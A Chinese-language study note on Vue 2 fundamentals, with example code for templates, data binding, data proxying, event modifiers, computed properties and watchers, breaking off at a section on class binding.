# Vue 简介

# Vue 的特点

  • 采用组件化模式,提高代码复用率,且让代码更好维护

image-20210716094215363)

  • 声明式编码,让编码人员无需直接操作 DOM,提高开发效率

image-20210716094437585)

  • 使用虚拟 DOM + 优秀的 Diff 算法,尽量复用 DOM 节点

image-20210716094701431

image-20210716094920922

依靠着一个 diff 算法来看你虚拟 DOM 的改变,然后对真实 DOM 进行改变就行了


# 搭建 Vue 开发环境

# 直接用 script 引入

  • CDN
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>

像这种 Vue,JQuery 引入进来的都是个构造函数对象,这个对象有原型 (上面有着给我们之后实例化这个 Vue 对象的共享方法)

这个构造函数也有属性等.

  • 最好使用 Vue Devtools

# Vue 核心

# Hello

  • 想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象
  • root 容器里的代码依然符合 HTML 规范,只不过混入了一些特殊的 Vue 语法
  • root 容器里的代码被称为 Vue 模板,然后给到我们的这个实例化 Vue 对象 (el 为这个 id 是 root 的容器), 然后检测有没有像下面这种的,要是有就替换对应数据,然后最后产生一个这个容器的新的 html 代码块放到我们页面上
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>

<body>
    <!-- 准备好一个容器 -->
    <div id ="root">
        <h1>hello,{{name}}</h1>
    </div>

    <script>
        //创建Vue实例,得到 ViewModel   
       new Vue({
            el: '#root', //el用于指定当前Vue实例为哪个容器服务,值通常为CSS选择器字符串(或者你也可以用document.querySelector等js原生获取元素方法来获取)
            data: { //data中用于存储数据,数据供el所指定的容器去使用,值暂时先写成一个对象
                name:'cez'
            },
            methods: {}
        });
    </script>
</body>

</html>

注意实例化一个 Vue 对象里面传一个对象,是配置对象

上方我们实例化 Vue 对象指定了 id 为 root 那个 div 服务,我们可以 data 属性存上一个对象 (之后可能存的不是对象), 这个对象里面的每个键名对应我们在__root div 里面 (不管哪里,可能还会被其他容器包括)__, 只要是的,我们就把这个替换成我们 data 属性存的对象的那个键名的值

# 分析 Hello 案例

  • Vue 实例和模板是一一对应的关系,以下两段代码中,均无法正常解析渲染
<div class="root">
        <h1>hello,{{name}}</h1>
</div>

<div class="root">
    <h1>hello,{{name}}</h1>
</div>

<script>
    new Vue({
        el: '.root',
        data: { 
            name:'cez'
        },
        methods: {}
    });
</script>
<div id="root">
        <h1>hello,{{name}},{{address}}</h1>
</div>

<script>
    new Vue({
        el: '#root',
        data: { 
            name:'cez'
        },
        methods: {}
    })
    new Vue({
        el: '#root',
        data: { 
            address:'山东'
        },
        methods: {}
    });
</script>
  • 无法将多个容器 (模板) 给一个 Vue 实例就算这个 Vue 实例的 el 值为一个 classname, 然后那两个容器都有着那个 classname, 这样只会第一个容器 (模板) 才会被 Vue 实例操作
  • 无法给多个 Vue 实例指定一个容器,会报错

模板 (容器) 与 Vue 实例需要一对一

  • 注意区分 JS 表达式和 JS 代码 (语句):
    • 表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方
      • 比如说:’a’,123, 方法名 (参数), 三元表达式,这种都是表达式 (就算方法里面没写 return…, 默认还是返回的 undefined), 不过注意貌似直接写像是 a 这种的会去你 vue 实例化对象里面找这个键,找不到就报错了
      • 这些假设左面拿个 let x = 这个 x 会接收到值的都算是表达式
    • js 代码 (语句): if(){} for(){}等等
  • 真实开发中只有一个 Vue 实例,并且会配合组件一起使用
  • 中的xxx需要写js__表达式__,且xxx__可以自动读取到data中的所有属性__
    • 所以这个可以获取 Vue 实例中的数据 (其实这个也可以成为表达式), 可以放 js 表达式,可以两者结合,都可以,比如说 {{name.toUpperCase()}}
  • 一旦 data 中的数据发生改变,那么模板中用到该数据的地方也会自动更新,最终变得是最后产出的页面 (模板变了就重新解析,解析完了再重新放到页面,页面就会变了)。

# 模板语法

  • Vue 模板语法有两大类:

    • 插值语法:

      • 功能:用于解析标签体内容
      • 写法: {{xxx}} ,xxx 是 js 表达式,且可以直接读取到 data 中的所有属性
    • 指令语法:

      • 功能:用于__解析标签__(包括:标签属性、标签体内容、绑定事件…), 标签属性的值不能直接

      • 举例: v-bind:href=”xxx” 或__省略 v-bind 直接用 : 也可以 -> :href=”xxx” __,xxx 同样要写 js 表达式,且可以直接读取 data 中的所有属性

      • 这个 v-bind, 会把后面这个属性 / 标签体内容 / 绑定事件… 的值 (也就是用引号引起来的) 当做表达式来执行 (所以跟我们同理,都是表达式了,所以表达式那些东西都可以放), 那些被当成表达式就会去这个 Vue 实例化对象里面的 data 属性读取对应的键名,然后变成那个键名的值

        Vue 中有很多的指令,且形式都是:v-???,此处只是拿 v-bind 举例子

<div id ="app">
        <h1>插值语法</h1>
        <h1>{{name}}</h1>
        <hr/>
        <h1>指令语法</h1>
        <a v-bind:href="url">cez网站</a>
        <a :href="url">cez网站2</a>
    </div>

<script>
    //创建Vue实例,得到 ViewModel
    var vm = new Vue({
        el: '#app',
        data: {
            name:'cez',
            url:"http://www.cezzz.top"
        },
        methods: {}
    });
</script>

# 数据绑定

v-bind 跟 v-model 并不是实现数据代理数据检测等功能!!!他本来就会这么做 (数据一改就会重新解析模板等等等)

v-bind 跟 v-model 作用是为了让在标签属性__⭐️后面被引号括起来的那个 (不包括引号)⭐️__那里当做表达式,如果表达式是我们的 (数据) 就只是会让解析模板的时候解析他那块换还是那个我们的数据

如果表达式只是普通的比如说一个字符串啥的 (引号里面还有引号,不然会被认为是变量), 那__解析模板时还是会被解析到__, 只不过只是解析出来的就是那个表达式的结果,跟我们数据没啥关系

主要作用就是让一个标签的属性后面被引号括起来的值是被当做表达式处理, 注意这完全不代表那个属性不会,当然会存在,并且他的值就是我们写的表达式。就因为我们想通过表达式而不是 (最原本的方式只给一个值用引号括起来), 所以我们才用的 v-bind (最常用,为了让后面表达式然后表达式的最后值成为我们 v-bind: 的那个属性的值) 和 v-model (主要是 value 属性,可能对于 checkbox 那些不太一样)

  • Vue 有两种数据绑定的方式:

    1. 单向绑定 (v-bind):数据只能从 data 流向页面

    2. 双向绑定 (v-model):数据不仅能从 data 流向页面,还可以从页面流向 data

    1. 双向绑定一般都应用在表单类元素上 (如:input,select 等)
    2. v-model:value 可以简写为 v-model -> v-model=“xxx” , 因为 v-model 默认收集的就是 value 值

⭐️注意如果你在页面上改变了一个 (双向绑定的) 输入框的值,那个值会改变 (Vue 实例化对象的) data, 然后其他任何被这个 (Vue 实例化对象的) data__单向绑定或者双向绑定__的元素的 (value 属性) 上,都会做出你在一开始页面上做的改变,连锁反应

  • v-model 只能用在表单类元素 (输入类元素) 上
<div id ="app">
        单向数据绑定:<input type="text" v-bind:value="msg">
        双向数据绑定:<input type="text" v-model:value="msg">
    	双向数据绑定:<input type="text" v-model="msg">
</div>

<script>
    //创建Vue实例,得到 ViewModel
    var vm = new Vue({
        el: '#app',
        data: {
            msg:"cez"
        },
        methods: {}
    });
</script>

# el 与 data 的两种写法

  • el 两种写法:
    • new Vue 的时候配置 el 属性
    • 先创建 Vue 实例,随后通过.$mount ()(Vue 构造函数对象 (不是你 new 出来的实例对象!) 的原型对象上的方法) 挂载
<div id ="app">
    {{name}}
</div>

<script>
    //el的两种写法
    const vm = new Vue({
        //el: '#app',   第一种写法
        data: {
            name:'cez'
        },
        methods: {}
    });
    vm.$mount("#app");  //第二种写法 
</script>
  • data 两种写法:

    • 对象式

    • 函数式 (写组件时必须用函数式), 必须返回一个对象,对象里面有着键值就像是我们第一种写法的那种

      由 Vue 管理的函数,一定不要写箭头函数,一旦写箭头函数,this 就不再是 Vue 实例了

<div id ="app">
    {{name}}
</div>

<script>
    const vm = new Vue({
        el:"#app",
        //第一种写法
        // data: {
        //     name:'cez'
        // },

        //第二种写法
        data:function(){
            console.log(this)//此处的this是Vue实例对象
            return {
                name:'cez'
            }
        },
        methods: {}
    });
</script>

上面要是写的是箭头函数那么那个 this 指向的是 window, 这是因为 data 存的这个函数会在 Vue 内部自己调用,调用的时候所在作用域是全局作用域也就是 this 指向的是 window, 那么这个箭头函数里面的 this 会跟当前箭头函数被__调用的__作用域中

箭头函数不会创建自己的 this , 它只会从自己的作用域链的上一层继承 this

# 理解 MVVM 模型

  • MVVM:Model-View-ViewModel 是一种软件架构模式

    • M:Model 对应 data 中的数据
    • V: 视图 (View) 模板
    • VM:视图模式 (ViewModel) Vue 实例对象
  • data 中所有的属性,最后都出现在了 vm 身上,(数据代理)

  • vm 身上所有的属性,及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用{{$options}} {{$emit}} 均有结果出现。注意不用写 vm. 什么什么的,默认就是 vm 身上的,直接写就行了

image-20210717001124214

image-20210717001930625

# Object.defineProperty

  • Object.defineProperty
<script>
    let number = 18; 

    let person = {
        name:'cez',
        sex:"男",
    };
    Object.defineProperty(person,'age',{
        // value:20,
        // enumerable:true,  //控制属性是否可以枚举,默认为false
        // writable:true,     //控制属性是否可以修改,默认为false
        // configurable:true, //控制属性是否可以删除,默认为false

        //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
        get:function(){
            console.log("读取age属性")
            return number; //只有在读取这个age属性才会调用这个函数返回这个值,这个值要是被改变了,然后你读取,显示的当然就是修改之后的值了
        },

        //当有人修改person的age属性时,set函数(setter)就会被调用,且返回值就是修改的具体值
        set:function(value){
            console.log("修改了age属性,且值为",value)
            number = value //这样才是真正修改了,要是没这一行你直接改是不会有效果的,你改值只是调用这个set方法
        }
    });
    console.log(person.value);
</script>

# 数据代理

  • 数据代理:通过一个对象代理另一个对象中属性的操作 (读 / 写)
<script>
    let obj = {x:100}
    let obj2 = {y:200}

    Object.defineProperty(obj2,'x',{
        get(){
            return obj.x;
        },

        set(value){
            obj.x = value
        }
    })
</script>

image-20210717004356005

# Vue 中的数据代理

  • Vue 通过__vm 对象__来代理__data 对象__中属性的操作 (读写), 也就是通过 Object.defineProperty 给 vm 设了 data 里面的属性 (键名), 然后在 Object.defineProperty 里面设置时就用对那个属性设了 getter and setter, 里面用的设以及给的 vm 这个属性的值就是 vm 里面 data 对应的属性的值

image-20210717004713044

所以其实你读 vm.name 读的就是 vm.data.name, 你改 vm.name 改的就是 vm.(_)data.name

  • Vue 中数据代理的好处:更方便地操作 data 中的数据

  • 基本原理:通过 Object.defineProperty() 把 data 对象中所有属性添加到 vm 上,为每一个添加到 vm 上的属性都指定一个 getter/setter,在 getter/setter 内部去操作 data 中的属性

    在_data 属性中做了数据劫持,这是为了能够做到响应式

注意!我们在创建 vm 实例化对象时,传进的对象的 data 属性其实在我们创建 vm 实例化对象时,让 vm 的_data (就叫这个属性名) 存下了这个传进来的 data (属性存的) 对象里面的数据,所以可以是使用 vm._data.键名 来获取当初 data 对象里面的那些对应的值。然后这个

就是 data 作为实参传入,将 data 的数据保存 (这里还不确定是什么方式保存,没有做数据代理,但是做了数据劫持,之后会讲到,简单来说就是做了响应的功能,也就是这里存的数据改变了 (一般都是通过改变 vm 代理的那些数据来改变这里的 (setter), 这个改变在这里需要被检测到,然后对模板做出对应的解析然后最后页面才会 reflect 你做的改变), 貌似是赋值给这个_data 我们传进来的 data 对象,只不过做了些升级) 在 _data 下,然后又将 _data 的数据通过 Object.defineProperty 里的 getter and setter 方式给 vm (这个才是数据代理), 这样以后就不用干什么都 vm._data.键名 ,直接 vm.键名 就行

image-20220124163400570

# 事件处理

  1. 使用__ v-on:xxx@xxx __绑定事件,其中 xxx 是事件名

  2. 事件的回调需要配置在 methods 对象中,最终会在 vm 上

  3. methods 中配置的函数,不要用箭头函数!否则 this 就不是 vm 了

  4. methods 中配置的函数都是被 Vue 管理的函数,this 指向的是 vm 或 组件实例对象, 而不像我们之前一样,this 指向调用那个 (也就是那个绑定了事件的元素 which 触发了回调函数)

  5. @click="demo"@click="demo($event)" 效果一样,但后者可以传参 (就是继续传其他的数)

    如果无参 $event 是默认传的,但要传参一定要带上 $event 作为其中一个参数

    $event 只是为了与 event 对象绑定,不然没法操作 event 对象,无论传不传,event 对象始终是存在的

注意只有 data 里面的那些从_data 到 vm 对象本身时做了数据代理,而其他地方像是下面的 methods 没有.

methods 里面的那些方法是直接放到 vm 实例化对象本身上的,并没有做数据代理

数据代理是给数据做的,没有必要给方法这些的 (给方法做数据代理只会让 Vue 很累,做没必要的)

代码

<div id ="app">
    <h2>Hello,{{name}}</h2>
    <button v-on:click="showInfo1">点我提示信息1(不传参)</button>
    <!-- 如果传参时想要不丢失event,则使用$event传参即可 -->
    <button @click="showInfo2(66,$event)">点我提示信息2(传参)</button>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            name:'cez'  
        },
        methods: {
            showInfo1(event){
                //console.log(event.target.innerText)
                //console.log(this===vm)  true 此处的this就是Vue实例
                alert("lxy1");
            },
            showInfo2(number,a,b,c){
                console.log(number,a,b,c);
            }
        },
    });
</script>

# 事件修饰符

  1. prevent:阻止默认事件 (常用)

  2. stop:阻止事件冒泡 (常用)

    事件冒泡 :当一个元素接收到事件的时候 会把他接收到的事件传给自己的父级,一直到 window (注意这里传递的仅仅是事件 并不传递所绑定的事件函数。所以如果父级没有绑定事件函数,就算传递了事件 也不会有什么表现 但事件确实传递了。)

  3. once:只触发一次 (常用)

  4. capture:使用事件的捕获模式 (事件在捕获时就进行处理,而不是在冒泡时)

    点击 div2 处,如果不用捕获模式,则先捕获 div1,再捕获 div2,然后从 div2 开始冒泡处理事件,所以依次输出 2,1

    image-20210717082030517

  5. self:只有 event.target 是当前操作的元素时才触发事件

  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕

  • 代码

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Document</title>
        <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
        <style>
            *{
                margin-top: 20px;
            }
            #demo01{
                height: 50px;
                background-color: seagreen;
            }
            #box1{
                background-color: skyblue;
                padding:5px;
            }
            #box2{
                background-color: orange;
                padding:5px;
            }
            .list{
                height:200px;       
                width:200px;
                background-color:orange;
                overflow: auto;
            }
            li{
                height:100px;
            }
        </style>
    </head>
    
    <body>
        <div id ="app">
            <!-- 阻止默认事件 -->
            <a href="http://www.cezzz.top" @click.prevent="showInfo">点我提示信息</a>
    
            <!-- 阻止事件冒泡 -->
            <div id="demo01" @click.prevent="showInfo">
                <a href="http://www.cezzz.top" @click.stop="showInfo">点我提示信息</a>
            </div>
    
            <!-- 事件只触发一次 -->
            <button @click.once="showInfo">点我提示信息</button>
            
            <!-- 使用事件捕获模式 -->
            <div id="box1" @click.capture="showMsg(1)">
                div1
                <div id="box2" @click="showMsg(2)">div2</div>
            </div>
    
            <!-- self:只有event.target是当前操作的元素时才触发事件 -->
            <div @click.self="showInfo">
                <!-- 点击button时event.target就是这个button,所以div中的showInfo不会触发 -->
                <button @click="showInfo">点我提示信息</button>
            </div>
            <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
            <ul @wheel.passive="demo" class="list">
                <li>1</li>
                <li>2</li>
                <li>3</li>
                <li>4</li>
            </ul>
        </div>
    
        <script>
            var vm = new Vue({
                el: '#app',
                data: {
                    
                },
                methods: {
                    showInfo(){
                        alert("wuhu!");
                    },
                    showMsg(msg){
                        console.log(msg);
                    },
                    demo(){
                        for (let i=0;i<10000;i++){
                            console.log('#');
                        }
                        console.log('end.');
                    }
                },
            });
        </script>
    </body>
    
    </html>

# 键盘事件

  • Vue 中常用的按键__别名__:

    • 回车:enter
    • 删除:delete (捕获删除键和退格键)
    • 退出:esc
    • 空格:space
    • 换行:tab (最好用 keydown,因为 keyup 前已经切换焦点了 (浏览器默认的 tab 键用法))
    • 上:up
    • 下:down
    • 左:left
    • 右:right
      • Vue 未提供别名的按键,可以使用按键原始的 key 值去绑定,但注意要转为 kebab-base (短横线命名,都是小写且多字之间用 - 连接)
  • 系统修饰键 (用法特殊):ctrl、alt、shift、meta

    • 配合 keyup 使用:按下修饰键的同时再按下其他键,随后释放其他键,事件才被触发
    • 配合 keydown 使用:正常触发事件
  • 也可以使用 keyCode 去指定具体的按键 (不推荐,已废弃)

  • Vue.config.keyCodes. 自定义键名 = 键码,可以去定制按键别名

  • 代码

    	<div id ="app">
    	        <input type="text" placeholder="按下回车提示输入" @keyup="showInfo"/>
    	
    	    <!-- 绑定CapsLock要符合短横线命名 -->
    	    <input type="text" placeholder="按下CapsLock提示输入" @keyup.caps-lock="showInfo"/>
    	</div>
    
    
    ​	
    ​	<script>
    ​	    Vue.config.keyCodes.huiche=13; //不推荐使用
    ​	    var vm = new Vue({
    ​	        el: '#app',
    ​	        data: {
    ​	
    ​	        },
    ​	        methods: {
    ​	            showInfo(e){
    ​	                console.log(e.key,e.keyCode);
    ​	                console.log(e.target.value);
    ​	            }
    ​	        },
    ​	    });
    ​	</script>
    ​	```
    
    > __事件的修饰符可以连写 如`@click.stop.prevent`__
    
    ## 计算属性-姓名案例
    
    [![image-20210717224325341](https://raw.githubusercontent.com/HarryQu1229/image-host/main/notes-img/20211021193744.png)](https://gitee.com/Cezzz/image2_repo/raw/master/img/20211021193744.png)
    
    - 插值语法实现
    
    	```HTML
    	<div id ="app">
    	    姓<input type="text" v-model="firstName"/> <br/>
    	    名<input type="text" v-model="lastName"/> <br/>
    	    姓名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span>
    	</div>
    	
    	<script>
    	    var vm = new Vue({
    	        el: '#app',
    	        data: {
    	            firstName:'c',
    	            lastName:'ez'
    	        },
    	        methods: {
    	
    	        },
    	    });
    	</script>
  • methods 实现

    只要 data 中的数据发生改变,那么 Vue 一定会重新解析模板

    本例中只要 data 发生改变,fullName 就会被调用

    <div id ="app"><input type="text" v-model="firstName"/> <br/><input type="text" v-model="lastName"/> <br/>
        姓名:<span>{{fullName()}}</span>
        姓名:<span>{{fullName()}}</span> <br/>
        姓名:<span>{{fullName()}}</span> <br/>
        姓名:<span>{{fullName()}}</span> <br/>
    </div>
    
    <script>
        var vm = new Vue({
            el: '#app',
            data: {
                firstName:'c',
                lastName:'ez'
            },
            methods: {
                fullName(){
                    console.log('方法被调用');
                    return this.firstName+'-'+this.lastName;
                }
            },
        });
    </script>

注意这里在插值语法用的表达式需要是调用那个函数 {{fullName()}} 这样这个才会去 vm 里面找这个函数并且调用,如果不加括号只是返回这个函数本身

这里跟属性那里加事件触发不一样,事件触发可以不加括号也是 ok 的,一样效果

还有一点注意的是真的就把插值语法里面的代码当做是正常 js 表达式,反正什么变量或者函数以及调用都会去找对应的 vm 身上找,如果有什么普通数据类型或者 js 原生 api (方法函数啥的), 都可以用,就是不能用 js 语句

任何数据的改变 (通过单向绑定或双向绑定,一般指的都是双向绑定) 都会让这个 Vue 的模板重新解析一遍,也就是说 Vue 会把这个模板过来整体拿过来阅读一遍,如果改的那个数据并没有在 vm 里面没有使用那么就不会重新读取了,不过要是有用就重新读取

所以比如说元素被双向绑定给一个 vm 然后你改了这个元素,他的数据也会被改变,这个时候因为你改变了这个数据,__肯定是会__让 Vue 重新解析一遍,看有没有其他比如说方法里面用到这个数据的,其他跟这个数据绑定的元素 (不管是单向或者双向), 等等等,

  • 如果没有那就不会被读取,
  • 如果有的话,那些就会做出对应的改变 (比如说这个方法现在就是里面的就是这个改变后的数据了), 然后解析过程中是会让所有在比如说插值语法的方法调用再次重新被调用,这么做这个方法现在就可以调用里面的代码 (其中有那个改变后的数据)

注意解析过程中一定会让所有插值语法中的函数调用被重新调用一次,不管里面的数据有没有变

# 计算属性

  • 定义:要用的属性不存在,要通过 ** 已有的属性 (不能是 vm 这个外面的属性,因为要是之后被改变了,vm 检测不到的,所以也不会 update 我们用到这个属性的那些地方)** 计算得来
  • 原理:底层借助了 Object.defineproperty 方法提供的__getter 和 setter__
  • 优势: 与 methods 实现相比,内部有缓存机制 (复用),效率更高,调式方便
  • 备注:
    • 计算属性__最终会出现在 vm 上__,直接读取使用即可
    • 如果计算属性要被修改,必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变 (要在 setter 函数里面做出真正的改变,不然是不会改的,因为改变我们计算属性只会调用这个计算属性的 setter)。

_计算属性不在 vm.data 中

<div id ="app"><input type="text" v-model="firstName"/> <br/><input type="text" v-model="lastName"/> <br/>
    姓名:<span>{{fullName}}</span> <br/>
    姓名:<span>{{fullName}}</span> <br/>
    姓名:<span>{{fullName}}</span> <br/>
    姓名:<span>{{fullName}}</span> <br/>

</div>

<script>
    const vm = new Vue({
        el: '#app',
        data: {
            firstName:'c',
            lastName:'ez'
        },
        computed:{
            fullName:{
                //get的作用:当有人读取fullName时,get会被调用,且返回值就作为fullName的值
                //get中的this指向调整为vm对象
                //get什么时候会被调用:1.初次读取fullName时 2.所依赖的数据发生变化时
                get(){
                    console.log('get被调用');
                    return this.firstName+'-'+this.lastName;
                },
                //当fullName被修改时调用set方法
                set(value){
                    console.log('set'+value);
                    const arr = value.split('-');
                    this.firstName = arr[0]
                    this.lastName = arr[1]
                }
            }
        }
    });
</script>
  • 需要是 computed, 然后存的是一个对象,这个对象里面的每个键与值都最终会成为 vm 对象上的属性与值
  • 每个键都存的是一个对象这个对象里面的是一个 getter (可简写,看下方)(或者是 setter 和 getter)
  • 因为这个键本身就是想作为我们 vm 的一个属性 (计算属性,用其他已有的属性计算出来的), 那么这个键存的对象里面的 getter 和 setter 用的都应该是我们已经的那些属性 (data 里面设置的那些)

在内部,vue 已经帮助我们让那些 getter 和 setter 里面的 this 指向指向了 vm, 就更方便了

这个样子这个最后会变成我们 vm 身上的属性, 我们直接把这个属性名放进插值里面就行了,之后解析时看到这个属性就会来 vm 身上找,然后因为是读取这个计算属性, 所以就会调用这个计算属性的 getter 然后返回出来最终我们计算出来的属性的值

_所以不要写什么 fullName.get!!! fullName 会变成我们 vm 身上的一个属性,直接放 fullName (对于这个例子) 就行了_

image-20220125161825817

注意如果模板有多个地方读取这个计算属性

  • 这个属性的__getter 方法只会第一次那个计算属性被读取的时候被调用一次,之后的不会被调用__, 而是做了缓存,所以其实都是一样的值
  • 这个计算属性__用到的数据__(就是那些已有属性的值通过双向绑定,或者是这个__计算属性本身 setter 里面修改的__) 被改变了的话,这个计算属性会重新调用 getter 用的数据当然是改了之后的数据

这么做就不会因为缓存之后数据被改了,读取的还是之前缓存存的老的计算出来的值.

这个样子他就算数据改了还是会调用一下,做出对应的 update 然后再讲 update 之后的值存到缓存中

(如果是改了没用到的属性,那对这个没影响不会调用这个计算属性的 getter 函数)

计算属性与我们之前的用 methods 的方式不一样,计算属性的返回值会被存到缓存,而要是调用函数那么不会把返回存到缓存,模板中有几次这个函数的调用,那么这个函数就会被调用几次

# 计算属性简写

只使用读取,不考虑修改时才可这样使用

<div id ="app"><input type="text" v-model="firstName"/> <br/><input type="text" v-model="lastName"/> <br/>
    姓名:<span>{{fullName()}}</span> <br/>

</div>

<script>
    const vm = new Vue({
        el: '#app',
        data: {
            firstName:'c',
            lastName:'ez'
        },
        computed:{
            fullName(){
                console.log('get被调用');
                return this.firstName+'-'+this.lastName;
            }
        }
    });
</script>

只需要 getter 的话那么可以直接把那个计算属性写成一个函数,然后这个函数里面写原本完整写法里面的 getter 里面的代码

不过注意还是那点,如果要使用在模板中,一定不要当做是函数调用,这个是个属性,不是函数!!!

# 监听属性 - 天气案例

<div id ="app"> 
    <h2>今天天气很{{info}}</h2>
    <button @click="changeWeather">切换天气</button>
    <!-- <button @click="isHot=!isHot">切换天气</button> -->
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            isHot:true
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
        computed: {
            info(){
                return this.isHot?'炎热':'凉爽';
            }
        },
    });
</script>

# 监视属性

  • 监视属性 watch:
    • 当被监视的属性变化时,回调函数自动调用,进行相关操作
    • 监视的属性必须存在,才能进行监视
    • 监视的两种写法
      • new Vue 时传入 watch 配置 (这种一般是用于一开始确认要监视)
      • 通过__vm.$watch 监视 (这种一般是用于按照用户的行为来看监不监视)__
        • vm.$watch 方式传值需要用引号扩住那个键名
    • 可以__监视 vm 里面的正常的属性,也可以监视计算属性!__
<div id ="app"> 
    <h2>今天天气很{{info}}</h2>
    <button @click="isHot=!isHot">切换天气</button>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            isHot:true
        },

        computed: {
            info(){
                return this.isHot?'炎热':'凉爽';
            }
        },

        watch: {
            //方式一
            isHot:{
                //初始化时让handler调用以下
                immediate:true,
                //当isHot发生改变时调用handler方法
                handler(newValue,oldValue){
                    console.log("new:"+newValue+'----'+"old:"+oldValue)
                }

            },
            //计算属性也可以被监视
            info:{
                //初始化时让handler调用以下
                immediate:true,
                //当isHot发生改变时调用handler方法
                handler(newValue,oldValue){
                    console.log("new:"+newValue+'----'+"old:"+oldValue)
                }

            }
        },  
    });
	
    //方式二
    vm.$watch('isHot',{
        //初始化时让handler调用以下
        immediate:true,
        //当isHot发生改变时调用handler方法
        handler(newValue,oldValue){
            console.log("new:"+newValue+'----'+"old:"+oldValue)
        }
    })
</script>

handler 属性两个参数都是 Vue 内部会给传出来的

还有其他监视一个属性时可以写的东西,目前先介绍到这

# 深度监视

  • Vue 中的 watch 默认不监测对象内部值的改变 (一层)

    • 所以像上面直接检测 numbers, 默认的是不检测他内部值的改变,只会检测这个 numbers 存的对象的地址的改变,这意味着要是里面内部变了,他不会触发 handler 函数
  • 配置 deep:true 可以监测对象内部值的改变 (多层)

    • 如果不配置 deep:true,遇到对象时,虽然内部值变化了,但是外部对象的地址并没有发生变化,所以不会触发 handler
  • Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 不可以

  • 使用 watch 时根据数据的具体结构,决定是否采用深度监视

<div id ="app"> 
    <h3>a的值是:{{numbers.a}}</h3>
    <button @click="numbers.a++">点我让a+1</button>
    <hr/>
    <h3>b的值是:{{numbers.b}}</h3>
    <button @click="numbers.b++">点我让a+1</button>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            numbers:{
                a:1,
                b:1
            }
        },

        watch: {
            //监视多级结构中某个属性的变化
            'numbers.a':{
                handler(){
                    console.log('a改变了')
                }
            },
            //监视多级结构中所有属性的变化
            numbers:{
                deep:true,
                immediate:true,
                handler(newValue,oldValue){
                    console.log("new:"+newValue+'----'+"old:"+oldValue)
                }
            }
        },  
    });
</script>

注意我们对象里面的__键__都是字符串形式的,但我们一般不会给那个加上引号,直接省略掉

所以上面需要是 'numbers.a' , 这里是找的 vm.(_data.) numbers.a 读取出来的那个字符串当做值,所以需要给扩上引号才行

# 监视的简写形式

  • 当只需要 handler,而不配置 immediate 和 deep 时,可以使用简写
watch: {
	//简写
	isHot(newValue,oldValue){
		console.log("new:"+newValue+'----'+"old:"+oldValue)
	}
}
//简写  第二个参数不需要传配置对象,只需要传一个函数(注意不要用箭头函数),该函数就相当于handler
vm.$watch('isHot',function(newValue,oldValue){
   console.log("new:"+newValue+'----'+"old:"+oldValue);
})

# watch 对比 computed

  • computed 和 watch 之间的区别:

    • computed 能完成的功能,watch 都可以完成
    • watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作

    如果在 computed 的 getter 里面写个异步任务比如说定时器,然后在这个计时器里面的回调函数 return 我们 getter 想要原本想要返回的计算属性的值,但这个样子是在计时器的回调函数的代码块里面, 而这个异步任务不能使用 return 给外部同步函数返回值,因为是_异步的_,所以也不能用同步定义的变量接,所以这个样子 getter 里没有一个返回值所以默认是 undefined

    而监视属性完全可以在异步操作的回调函数里面给那些数据 (属性) 做出改变,这个不需要返回值,所以可以异步操作

总结:

  • 计算属性和 watch 都可以实现时使用计算属性 (因为更整洁而且不用创建别的新的数据)
  • 有异步操作用 watch!
  • 两个重要的小原则:
    • 所有被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或组件实例对象
    • 所有不被 Vue 所管理的函数 (定时器的回调函数,ajax 的回调函数,Promise 的回调函数等),最好写成箭头函数,这样 this 的指向才是 vm 或组件实例对象 (箭头函数没有 this,需要向上找,这样就会找到 vm 或组件实例对象了,如果写普通函数,则它的 this 就是 window 了)

所有不是由 Vue 所控制的回调,尽可能的写成箭头函数,原因是箭头函数没有 this 会向上找,找到 vm

最终目标就是让用的 this 指向 vm 对象

用 watch 写姓名案例

<div id ="app"><input type="text" v-model="firstName"/> <br/><input type="text" v-model="lastName"/> <br/>
    姓名:<span>{{fullName}}</span> <br/>

</div>

<script>
    const vm = new Vue({
        el: '#app',
        data: {
            firstName:'c',
            lastName:'ez',
            fullName:'c-ez'
        },

        watch:{
            firstName(val){
                //watch可以开启异步任务,一秒钟后更改全名
                setTimeout(()=>{
                    this.fullName = val + '-' + this.lastName;
                },1000);
            },
            lastName(val){
                this.fullName = this.firstName + '-' + val;
            }
        }
    });
</script>

注意上方:

  • 异步操作需要在 watch 里面写,而不是 computed
  • 异步操作需要是箭头函数,这个样子它里面的 this 才会指向这个函数所在作用域中的 this 的指向也就是 vm 对象 (而不再是调用计时器的 window 对象了)

再细说一下,那个定时器里面的回调函数是 js 引擎帮我们调用的 (不管是写成了正常函数还是箭头函数), 只不过

  • 要是是普通函数,那么 this 已经给你指定好了为 this
  • 如果是箭头函数,也是 js 引擎给我们调的这个函数, 但是他没有了自己的 this, 所以他就往外找,找到了他所在作用域之中的 this 拿来用,在这里他往外找找到了 firstName 这个是 vue 所管理的函数,里面的 this 都指向的是我们这个 vm (Vue 实例化对象)

# 绑定 class 样式

可以先有个自己本来的 class 然后后面再跟着一个绑定了的 class, 最后会把他们这 class 都采用

(如果只是单纯两个 class, 没有绑定,就正常的,那之后的那个不会被加上去,不管用)

<div id ="app">
    <!-- 绑定class样式 字符串写法,适用于:样式的类名不确定,需要动态指定 -->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
    <hr/>
